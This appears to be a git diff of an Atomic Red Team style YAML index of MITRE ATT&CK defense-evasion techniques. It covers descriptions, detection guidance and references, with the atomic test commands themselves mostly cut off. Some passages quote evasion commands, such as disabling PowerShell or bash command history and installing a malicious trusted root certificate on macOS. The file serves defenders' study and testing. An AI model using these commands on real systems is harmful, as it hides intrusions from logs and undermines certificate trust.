+      created: '2020-03-12T20:38:12.465Z'
+      x_mitre_defense_bypassed:
+      - Anti-virus
+      - Application control
+      x_mitre_platforms:
+      - Linux
+      - macOS
+      - Windows
+      x_mitre_is_subtechnique: false
+      id: attack-pattern--aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6
+      description: |-
+        Adversaries may execute their own malicious payloads by hijacking the way operating systems run programs. Hijacking execution flow can be for the purposes of persistence, since this hijacked execution may reoccur over time. Adversaries may also use these mechanisms to elevate privileges or evade defenses, such as application control or other restrictions on execution.
+
+        There are many ways an adversary may hijack the flow of execution, including by manipulating how the operating system locates programs to be executed. How the operating system locates libraries to be used by a program can also be intercepted. Locations where the operating system looks for programs/resources, such as file directories and in the case of Windows the Registry, could also be poisoned to include malicious payloads.
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: persistence
+      - kill_chain_name: mitre-attack
+        phase_name: privilege-escalation
+      - kill_chain_name: mitre-attack
+        phase_name: defense-evasion
       x_mitre_detection: |-
         Monitor file systems for moving, renaming, replacing, or modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared with past behavior) that do not correlate with known software, patches, etc., are suspicious. Monitor DLLs loaded into a process and detect DLLs that have the same file name but abnormal paths. Modifications to or creation of .manifest and .local redirection files that do not correlate with software updates are suspicious.
 
@@ -28966,41 +29699,42 @@ defense-evasion:
         Service changes are reflected in the Registry. Modification to existing services should not occur frequently. If a service binary path or failure parameters are changed to values that are not typical for that service and does not correlate with software updates, then it may be due to malicious activity. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.
 
         Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current service information. (Citation: Autoruns for Windows) Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data.
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1574
+        external_id: T1574
+        source_name: mitre-attack
+      - url: https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns
+        description: Mark Russinovich. (2019, June 28). Autoruns for Windows v13.96.
+          Retrieved March 13, 2020.
+        source_name: Autoruns for Windows
+    atomic_tests: []
+  T1562.003:
+    technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: Impair Command History Logging
+      x_mitre_data_sources:
+      - 'Sensor Health: Host Status'
+      - 'Command: Command Execution'
+      x_mitre_version: '2.0'
+      modified: '2021-04-24T13:59:12.787Z'
+      created: '2020-02-21T20:56:06.498Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: defense-evasion
+      id: attack-pattern--8f504411-cb96-4dac-a537-8d2bb7679c59
       x_mitre_defense_bypassed:
-      - Anti-virus
-      - Application control
-      x_mitre_version: '1.1'
-      x_mitre_is_subtechnique: false
+      - Host forensic analysis
+      - Log analysis
       x_mitre_platforms:
       - Linux
       - macOS
       - Windows
-    atomic_tests: []
-  T1562.003:
-    technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1562.003
-        url: https://attack.mitre.org/techniques/T1562/003
-      - external_id: CAPEC-13
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/13.html
-      - source_name: Microsoft PowerShell Command History
-        url: https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_history?view=powershell-7
-        description: Microsoft. (2020, May 13). About History. Retrieved September
-          4, 2020.
-      - source_name: Sophos PowerShell command audit
-        url: https://community.sophos.com/products/intercept/early-access-program/f/live-discover-response-queries/121529/live-discover---powershell-command-audit
-        description: jak. (2020, June 27). Live Discover - PowerShell command audit.
-          Retrieved August 21, 2020.
-      - source_name: Sophos PowerShell Command History Forensics
-        url: https://community.sophos.com/products/malware/b/blog/posts/powershell-command-history-forensics
-        description: Vikas, S. (2020, August 26). PowerShell Command History Forensics.
-          Retrieved September 4, 2020.
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Impair Command History Logging
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - User
       description: "Adversaries may impair command history logging to hide commands
         they run on a compromised system. Various command interpreters keep track
         of the commands users type in their terminal so that users can retrace what
@@ -29031,23 +29765,9 @@ defense-evasion:
         SaveNothing</code>.(Citation: Microsoft PowerShell Command History)(Citation:
         Sophos PowerShell command audit)(Citation: Sophos PowerShell Command History
         Forensics)"
-      id: attack-pattern--8f504411-cb96-4dac-a537-8d2bb7679c59
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: defense-evasion
-      modified: '2021-04-24T13:59:12.787Z'
-      created: '2020-02-21T20:56:06.498Z'
       x_mitre_contributors:
       - Vikas Singh, Sophos
       - Emile Kenning, Sophos
-      x_mitre_version: '2.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_permissions_required:
-      - User
-      x_mitre_defense_bypassed:
-      - Host forensic analysis
-      - Log analysis
       x_mitre_detection: "Correlating a user session with a distinct lack of new commands
         in their <code>.bash_history</code> can be a clue to suspicious behavior.
         Additionally, users checking or changing their <code>HISTCONTROL</code>, <code>HISTFILE</code>,
@@ -29056,13 +29776,26 @@ defense-evasion:
         being created with <code>-HistorySaveStyle SaveNothing</code> command-line
         arguments and use of the PowerShell commands <code>Set-PSReadlineOption -HistorySaveStyle
         SaveNothing</code> and <code>Set-PSReadLineOption -HistorySavePath {File Path}</code>. "
-      x_mitre_data_sources:
-      - 'Sensor Health: Host Status'
-      - 'Command: Command Execution'
-      x_mitre_platforms:
-      - Linux
-      - macOS
-      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1562/003
+        external_id: T1562.003
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/13.html
+        external_id: CAPEC-13
+        source_name: capec
+      - url: https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_history?view=powershell-7
+        description: Microsoft. (2020, May 13). About History. Retrieved September
+          4, 2020.
+        source_name: Microsoft PowerShell Command History
+      - url: https://community.sophos.com/products/intercept/early-access-program/f/live-discover-response-queries/121529/live-discover---powershell-command-audit
+        description: jak. (2020, June 27). Live Discover - PowerShell command audit.
+          Retrieved August 21, 2020.
+        source_name: Sophos PowerShell command audit
+      - url: https://community.sophos.com/products/malware/b/blog/posts/powershell-command-history-forensics
+        description: Vikas, S. (2020, August 26). PowerShell Command History Forensics.
+          Retrieved September 4, 2020.
+        source_name: Sophos PowerShell Command History Forensics
       identifier: T1562.003
     atomic_tests:
     - name: Disable history collection
@@ -29102,33 +29835,12 @@ defense-evasion:
         name: manual
   T1562:
     technique:
-      id: attack-pattern--3d333250-30e4-4a82-9edc-756c68afc529
-      description: |-
-        Adversaries may maliciously modify components of a victim environment in order to hinder or disable defensive mechanisms. This not only involves impairing preventative defenses, such as firewalls and anti-virus, but also detection capabilities that defenders can use to audit activity and identify malicious behavior. This may also span both native defenses as well as supplemental capabilities installed by users and administrators.
-
-        Adversaries could also target event aggregation and analysis mechanisms, or otherwise disrupt these procedures by altering other system components.
-      name: Impair Defenses
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1562
-        url: https://attack.mitre.org/techniques/T1562
       type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: defense-evasion
-      modified: '2021-04-24T13:59:13.144Z'
-      created: '2020-02-21T20:22:13.470Z'
-      x_mitre_platforms:
-      - Windows
-      - Office 365
-      - IaaS
-      - Linux
-      - macOS
-      - Containers
+      name: Impair Defenses
       x_mitre_data_sources:
+      - 'Process: Process Creation'
       - 'Process: Process Termination'
       - 'Windows Registry: Windows Registry Key Modification'
       - 'Windows Registry: Windows Registry Key Deletion'
@@ -29140,10 +29852,10 @@ defense-evasion:
       - 'Firewall: Firewall Rule Modification'
       - 'Cloud Service: Cloud Service Modification'
       - 'Cloud Service: Cloud Service Disable'
-      x_mitre_detection: |-
-        Monitor processes and command-line arguments to see if security tools or logging services are killed or stop running. Monitor Registry edits for modifications to services and startup programs that correspond to security tools.  Lack of log events may be suspicious.
-
-        Monitor environment variables and APIs that can be leveraged to disable security measures.
+      x_mitre_version: '1.2'
+      modified: '2021-10-19T13:37:31.463Z'
+      created: '2020-02-21T20:22:13.470Z'
+      id: attack-pattern--3d333250-30e4-4a82-9edc-756c68afc529
       x_mitre_defense_bypassed:
       - Anti-virus
       - Signature-based detection
@@ -29153,14 +29865,59 @@ defense-evasion:
       - Host forensic analysis
       - Log analysis
       - Firewall
+      x_mitre_platforms:
+      - Windows
+      - Office 365
+      - IaaS
+      - Linux
+      - macOS
+      - Containers
+      - Network
+      x_mitre_is_subtechnique: false
       x_mitre_permissions_required:
       - Administrator
       - User
-      x_mitre_is_subtechnique: false
-      x_mitre_version: '1.1'
+      description: |-
+        Adversaries may maliciously modify components of a victim environment in order to hinder or disable defensive mechanisms. This not only involves impairing preventative defenses, such as firewalls and anti-virus, but also detection capabilities that defenders can use to audit activity and identify malicious behavior. This may also span both native defenses as well as supplemental capabilities installed by users and administrators.
+
+        Adversaries could also target event aggregation and analysis mechanisms, or otherwise disrupt these procedures by altering other system components.
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: defense-evasion
+      x_mitre_detection: |-
+        Monitor processes and command-line arguments to see if security tools or logging services are killed or stop running. Monitor Registry edits for modifications to services and startup programs that correspond to security tools.  Lack of log events may be suspicious.
+
+        Monitor environment variables and APIs that can be leveraged to disable security measures.
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1562
+        external_id: T1562
+        source_name: mitre-attack
     atomic_tests: []
   T1562.006:
     technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: Indicator Blocking
+      x_mitre_data_sources:
+      - 'Windows Registry: Windows Registry Key Modification'
+      - 'Sensor Health: Host Status'
+      - 'Command: Command Execution'
+      x_mitre_version: '1.0'
+      modified: '2021-01-13T15:56:04.897Z'
+      created: '2020-03-19T19:09:30.329Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: defense-evasion
+      x_mitre_defense_bypassed:
+      - Anti-virus
+      - Host intrusion prevention systems
+      x_mitre_platforms:
+      - Windows
+      - macOS
+      - Linux
+      x_mitre_is_subtechnique: true
       id: attack-pattern--74d2a63f-3c7b-4852-92da-02d8fbab16da
       description: "An adversary may attempt to block indicators or events typically
         captured by sensors from being gathered and analyzed. This could include maliciously
@@ -29181,54 +29938,32 @@ defense-evasion:
         forwarding telemetry and/or creating a host-based firewall rule to block traffic
         to specific hosts responsible for aggregating events, such as security information
         and event management (SIEM) products. "
-      name: Indicator Blocking
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1562.006
-        url: https://attack.mitre.org/techniques/T1562/006
-      - external_id: CAPEC-571
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/571.html
-      - url: https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?name=Backdoor:Win32/Lamin.A
-        description: Microsoft. (2009, May 17). Backdoor:Win32/Lamin.A. Retrieved
-          September 6, 2018.
-        source_name: Microsoft Lamin Sept 2017
-      - source_name: Microsoft About Event Tracing 2018
-        url: https://docs.microsoft.com/en-us/windows/desktop/etw/consuming-events
-        description: Microsoft. (2018, May 30). About Event Tracing. Retrieved June
-          7, 2019.
-      - source_name: Medium Event Tracing Tampering 2018
-        url: https://medium.com/palantir/tampering-with-windows-event-tracing-background-offense-and-defense-4be7ac62ac63
-        description: 'Palantir. (2018, December 24). Tampering with Windows Event
-          Tracing: Background, Offense, and Defense. Retrieved June 7, 2019.'
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: defense-evasion
-      modified: '2021-01-13T15:56:04.897Z'
-      created: '2020-03-19T19:09:30.329Z'
-      x_mitre_platforms:
-      - Windows
-      - macOS
-      - Linux
       x_mitre_contributors:
       - Rob Smith
-      x_mitre_data_sources:
-      - 'Windows Registry: Windows Registry Key Modification'
-      - 'Sensor Health: Host Status'
-      - 'Command: Command Execution'
       x_mitre_detection: |-
         Detect lack of reported activity from a host sensor. Different methods of blocking may cause different disruptions in reporting. Systems may suddenly stop reporting all data or only certain kinds of data.
 
         Depending on the types of host information collected, an analyst may be able to detect the event that triggered a process to stop or connection to be blocked. For example, Sysmon will log when its configuration state has changed (Event ID 16) and Windows Management Instrumentation (WMI) may be used to subscribe ETW providers that log any provider removal from a specific trace session. (Citation: Medium Event Tracing Tampering 2018) To detect changes in ETW you can also monitor the registry key which contains configurations for all ETW event providers: <code>HKLM\SYSTEM\CurrentControlSet\Control\WMI\Autologger\AUTOLOGGER_NAME\{PROVIDER_GUID}</code>
-      x_mitre_defense_bypassed:
-      - Anti-virus
-      - Host intrusion prevention systems
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.0'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1562/006
+        external_id: T1562.006
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/571.html
+        external_id: CAPEC-571
+        source_name: capec
+      - source_name: Microsoft Lamin Sept 2017
+        description: Microsoft. (2009, May 17). Backdoor:Win32/Lamin.A. Retrieved
+          September 6, 2018.
+        url: https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?name=Backdoor:Win32/Lamin.A
+      - url: https://docs.microsoft.com/en-us/windows/desktop/etw/consuming-events
+        description: Microsoft. (2018, May 30). About Event Tracing. Retrieved June
+          7, 2019.
+        source_name: Microsoft About Event Tracing 2018
+      - url: https://medium.com/palantir/tampering-with-windows-event-tracing-background-offense-and-defense-4be7ac62ac63
+        description: 'Palantir. (2018, December 24). Tampering with Windows Event
+          Tracing: Background, Offense, and Defense. Retrieved June 7, 2019.'
+        source_name: Medium Event Tracing Tampering 2018
       identifier: T1562.006
     atomic_tests:
     - name: Auditing Configuration Changes on Linux Host
@@ -29311,29 +30046,31 @@ defense-evasion:
         elevation_required: true
   T1027.005:
     technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: Indicator Removal from Tools
+      x_mitre_version: '1.0'
+      modified: '2020-03-29T21:03:09.766Z'
+      created: '2020-03-19T21:27:32.820Z'
+      x_mitre_defense_bypassed:
+      - Anti-virus
+      - Host intrusion prevention systems
+      - Log analysis
+      - Signature-based detection
+      x_mitre_platforms:
+      - Linux
+      - macOS
+      - Windows
+      x_mitre_is_subtechnique: true
       id: attack-pattern--b0533c6e-8fea-4788-874f-b799cacc4b92
       description: |-
         Adversaries may remove indicators from tools if they believe their malicious tool was detected, quarantined, or otherwise curtailed. They can modify the tool by removing the indicator and using the updated version that is no longer detected by the target's defensive systems or subsequent targets that may use similar systems.
 
         A good example of this is when malware is detected with a file signature and quarantined by anti-virus software. An adversary who can determine that the malware was quarantined because of its file signature may modify the file to explicitly avoid that signature, and then re-use the malware.
-      name: Indicator Removal from Tools
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1027.005
-        url: https://attack.mitre.org/techniques/T1027/005
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
-      modified: '2020-03-29T21:03:09.766Z'
-      created: '2020-03-19T21:27:32.820Z'
-      x_mitre_platforms:
-      - Linux
-      - macOS
-      - Windows
       x_mitre_detection: The first detection of a malicious tool may trigger an anti-virus
         or other security tool alert. Similar events may also occur at the boundary
         through network IDS, email scanning appliance, etc. The initial detection
@@ -29343,51 +30080,18 @@ defense-evasion:
         operation, assuming that individual events like an anti-virus detect will
         not be investigated or that an analyst will not be able to conclusively link
         that event to other activity occurring on the network.
-      x_mitre_defense_bypassed:
-      - Anti-virus
-      - Host intrusion prevention systems
-      - Log analysis
-      - Signature-based detection
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.0'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1027/005
+        external_id: T1027.005
+        source_name: mitre-attack
     atomic_tests: []
   T1070:
     technique:
-      id: attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Indicator Removal on Host
-      description: |-
-        Adversaries may delete or alter generated artifacts on a host system, including logs or captured files such as quarantined malware. Locations and format of logs are platform or product-specific, however standard operating system logs are captured as Windows events or Linux/macOS files such as [Bash History](https://attack.mitre.org/techniques/T1552/003) and /var/log/*.
-
-        These actions may interfere with event collection, reporting, or other notifications used to detect intrusion activity. This that may compromise the integrity of security solutions by causing notable events to go unreported. This activity may also impede forensic analysis and incident response, due to lack of sufficient data to determine what occurred.
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1070
-        url: https://attack.mitre.org/techniques/T1070
-      - external_id: CAPEC-93
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/93.html
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
       type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: defense-evasion
-      modified: '2021-04-24T13:35:09.065Z'
-      created: '2017-05-31T21:30:55.892Z'
-      x_mitre_is_subtechnique: false
-      x_mitre_platforms:
-      - Linux
-      - macOS
-      - Windows
-      - Containers
-      x_mitre_detection: File system monitoring may be used to detect improper deletion
-        or modification of indicator files.  Events not stored on the file system
-        may require different detection mechanisms.
-      x_mitre_defense_bypassed:
-      - Log analysis
-      - Host intrusion prevention systems
-      - Anti-virus
+      name: Indicator Removal on Host
       x_mitre_data_sources:
       - 'Process: Process Creation'
       - 'File: File Deletion'
@@ -29399,10 +30103,41 @@ defense-evasion:
       - 'Network Traffic: Network Traffic Content'
       - 'User Account: User Account Authentication'
       - 'File: File Metadata'
+      x_mitre_version: '1.2'
+      modified: '2021-07-27T15:23:52.099Z'
+      created: '2017-05-31T21:30:55.892Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: defense-evasion
+      x_mitre_defense_bypassed:
+      - Log analysis
+      - Host intrusion prevention systems
+      - Anti-virus
+      x_mitre_platforms:
+      - Linux
+      - macOS
+      - Windows
+      - Containers
+      x_mitre_is_subtechnique: false
+      id: attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69
+      description: |-
+        Adversaries may delete or alter generated artifacts on a host system, including logs or captured files such as quarantined malware. Locations and format of logs are platform or product-specific, however standard operating system logs are captured as Windows events or Linux/macOS files such as [Bash History](https://attack.mitre.org/techniques/T1552/003) and /var/log/*.
+
+        These actions may interfere with event collection, reporting, or other notifications used to detect intrusion activity. This may compromise the integrity of security solutions by causing notable events to go unreported. This activity may also impede forensic analysis and incident response, due to lack of sufficient data to determine what occurred.
       x_mitre_contributors:
       - Brad Geesaman, @bradgeesaman
       - Ed Williams, Trustwave, SpiderLabs
-      x_mitre_version: '1.2'
+      x_mitre_detection: File system monitoring may be used to detect improper deletion
+        or modification of indicator files.  Events not stored on the file system
+        may require different detection mechanisms.
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1070
+        external_id: T1070
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/93.html
+        external_id: CAPEC-93
+        source_name: capec
       identifier: T1070
     atomic_tests:
     - name: Indicator Removal using FSUtil
@@ -29423,56 +30158,56 @@ defense-evasion:
         elevation_required: true
   T1202:
     technique:
-      created: '2018-04-18T17:59:24.739Z'
+      type: attack-pattern
       modified: '2020-06-20T22:09:22.559Z'
+      name: Indirect Command Execution
+      x_mitre_data_sources:
+      - 'Process: Process Creation'
+      - 'Command: Command Execution'
+      x_mitre_version: '1.1'
+      created: '2018-04-18T17:59:24.739Z'
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
-      type: attack-pattern
-      id: attack-pattern--3b0e52ce-517a-4614-a523-1bd5deef6c5e
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Indirect Command Execution
-      description: |-
-        Adversaries may abuse utilities that allow for command execution to bypass security restrictions that limit the use of command-line interpreters. Various Windows utilities may be used to execute commands, possibly without invoking [cmd](https://attack.mitre.org/software/S0106). For example, [Forfiles](https://attack.mitre.org/software/S0193), the Program Compatibility Assistant (pcalua.exe), components of the Windows Subsystem for Linux (WSL), as well as other utilities may invoke the execution of programs and commands from a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), Run window, or via scripts. (Citation: VectorSec ForFiles Aug 2017) (Citation: Evi1cg Forfiles Nov 2017)
-
-        Adversaries may abuse these features for [Defense Evasion](https://attack.mitre.org/tactics/TA0005), specifically to perform arbitrary execution while subverting detections and/or mitigation controls (such as Group Policy) that limit/prevent the usage of [cmd](https://attack.mitre.org/software/S0106) or file extensions more commonly associated with malicious payloads.
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1202
-        url: https://attack.mitre.org/techniques/T1202
-      - url: https://twitter.com/vector_sec/status/896049052642533376
-        description: vector_sec. (2017, August 11). Defenders watching launches of
-          cmd? What about forfiles?. Retrieved January 22, 2018.
-        source_name: VectorSec ForFiles Aug 2017
-      - url: https://twitter.com/Evi1cg/status/935027922397573120
-        description: Evi1cg. (2017, November 26). block cmd.exe ? try this :. Retrieved
-          January 22, 2018.
-        source_name: Evi1cg Forfiles Nov 2017
-      - url: https://community.rsa.com/community/products/netwitness/blog/2017/08/14/are-you-looking-out-for-forfilesexe-if-you-are-watching-for-cmdexe
-        description: Partington, E. (2017, August 14). Are you looking out for forfiles.exe
-          (if you are watching for cmd.exe). Retrieved January 22, 2018.
-        source_name: RSA Forfiles Aug 2017
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      x_mitre_is_subtechnique: false
-      x_mitre_platforms:
-      - Windows
       x_mitre_permissions_required:
       - User
-      x_mitre_detection: 'Monitor and analyze logs from host-based detection mechanisms,
-        such as Sysmon, for events such as process creations that include or are resulting
-        from parameters associated with invoking programs/commands/files and/or spawning
-        child processes/network connections. (Citation: RSA Forfiles Aug 2017)'
       x_mitre_defense_bypassed:
       - Static File Analysis
       - Application control
       - Application control by file name or path
-      x_mitre_data_sources:
-      - 'Process: Process Creation'
-      - 'Command: Command Execution'
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: false
+      id: attack-pattern--3b0e52ce-517a-4614-a523-1bd5deef6c5e
+      description: |-
+        Adversaries may abuse utilities that allow for command execution to bypass security restrictions that limit the use of command-line interpreters. Various Windows utilities may be used to execute commands, possibly without invoking [cmd](https://attack.mitre.org/software/S0106). For example, [Forfiles](https://attack.mitre.org/software/S0193), the Program Compatibility Assistant (pcalua.exe), components of the Windows Subsystem for Linux (WSL), as well as other utilities may invoke the execution of programs and commands from a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), Run window, or via scripts. (Citation: VectorSec ForFiles Aug 2017) (Citation: Evi1cg Forfiles Nov 2017)
+
+        Adversaries may abuse these features for [Defense Evasion](https://attack.mitre.org/tactics/TA0005), specifically to perform arbitrary execution while subverting detections and/or mitigation controls (such as Group Policy) that limit/prevent the usage of [cmd](https://attack.mitre.org/software/S0106) or file extensions more commonly associated with malicious payloads.
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
       x_mitre_contributors:
       - Matthew Demaske, Adaptforward
-      x_mitre_version: '1.1'
+      x_mitre_detection: 'Monitor and analyze logs from host-based detection mechanisms,
+        such as Sysmon, for events such as process creations that include or are resulting
+        from parameters associated with invoking programs/commands/files and/or spawning
+        child processes/network connections. (Citation: RSA Forfiles Aug 2017)'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1202
+        external_id: T1202
+        source_name: mitre-attack
+      - source_name: VectorSec ForFiles Aug 2017
+        description: vector_sec. (2017, August 11). Defenders watching launches of
+          cmd? What about forfiles?. Retrieved January 22, 2018.
+        url: https://twitter.com/vector_sec/status/896049052642533376
+      - source_name: Evi1cg Forfiles Nov 2017
+        description: Evi1cg. (2017, November 26). block cmd.exe ? try this :. Retrieved
+          January 22, 2018.
+        url: https://twitter.com/Evi1cg/status/935027922397573120
+      - source_name: RSA Forfiles Aug 2017
+        description: Partington, E. (2017, August 14). Are you looking out for forfiles.exe
+          (if you are watching for cmd.exe). Retrieved January 22, 2018.
+        url: https://community.rsa.com/community/products/netwitness/blog/2017/08/14/are-you-looking-out-for-forfilesexe-if-you-are-watching-for-cmdexe
       identifier: T1202
     atomic_tests:
     - name: Indirect Command Execution - pcalua.exe
@@ -29536,80 +30271,51 @@ defense-evasion:
         name: command_prompt
   T1553.004:
     technique:
-      id: attack-pattern--c615231b-f253-4f58-9d47-d5b4cbdb6839
-      description: |-
-        Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers. Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate. (Citation: Wikipedia Root Certificate) Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.
-
-        Installation of a root certificate on a compromised system would give an adversary a way to degrade the security of that system. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials. (Citation: Operation Emmental)
-
-        Atypical root certificates have also been pre-installed on systems by the manufacturer or in the software supply chain and were used in conjunction with malware/adware to provide a man-in-the-middle capability for intercepting information transmitted over secure TLS/SSL communications. (Citation: Kaspersky Superfish)
-
-        Root certificates (and their associated chains) can also be cloned and reinstalled. Cloned certificate chains will carry many of the same metadata characteristics of the source and can be used to sign malicious code that may then bypass signature validation tools (ex: Sysinternals, antivirus, etc.) used to block execution and/or uncover artifacts of Persistence. (Citation: SpectorOps Code Signing Dec 2017)
-
-        In macOS, the Ay MaMi malware uses <code>/usr/bin/security add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain /path/to/malicious/cert</code> to install a malicious certificate as a trusted root certificate into the system keychain. (Citation: objective-see ay mami 2018)
-      name: Install Root Certificate
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1553.004
-        url: https://attack.mitre.org/techniques/T1553/004
-      - external_id: CAPEC-479
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/479.html
-      - url: https://en.wikipedia.org/wiki/Root_certificate
-        description: Wikipedia. (2016, December 6). Root certificate. Retrieved February
-          20, 2017.
-        source_name: Wikipedia Root Certificate
-      - url: http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-finding-holes-operation-emmental.pdf
-        description: Sancho, D., Hacquebord, F., Link, R. (2014, July 22). Finding
-          Holes Operation Emmental. Retrieved February 9, 2016.
-        source_name: Operation Emmental
-      - url: https://www.kaspersky.com/blog/lenovo-pc-with-adware-superfish-preinstalled/7712/
-        description: 'Onuma. (2015, February 24). Superfish: Adware Preinstalled on
-          Lenovo Laptops. Retrieved February 20, 2017.'
-        source_name: Kaspersky Superfish
-      - url: https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec
-        description: Graeber, M. (2017, December 22). Code Signing Certificate Cloning
-          Attacks and Defenses. Retrieved April 3, 2018.
-        source_name: SpectorOps Code Signing Dec 2017
-      - url: https://objective-see.com/blog/blog_0x26.html
-        description: Patrick Wardle. (2018, January 11). Ay MaMi. Retrieved March
-          19, 2018.
-        source_name: objective-see ay mami 2018
-      - url: https://docs.microsoft.com/sysinternals/downloads/sigcheck
-        description: Russinovich, M. et al.. (2017, May 22). Sigcheck. Retrieved April
-          3, 2018.
-        source_name: Microsoft Sigcheck May 2017
-      - url: https://www.tripwire.com/state-of-security/off-topic/appunblocker-bypassing-applocker/
-        description: 'Smith, T. (2016, October 27). AppUNBlocker: Bypassing AppLocker.
-          Retrieved December 19, 2017.'
-        source_name: Tripwire AppUNBlocker
       type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: defense-evasion
-      modified: '2020-03-19T20:31:11.389Z'
-      created: '2020-02-21T21:05:32.844Z'
-      x_mitre_platforms:
-      - Linux
-      - macOS
-      - Windows
-      x_mitre_contributors:
-      - Matt Graeber, @mattifestation, SpecterOps
-      - Red Canary
-      - Travis Smith, Tripwire
-      - Itzik Kotler, SafeBreach
+      name: Install Root Certificate
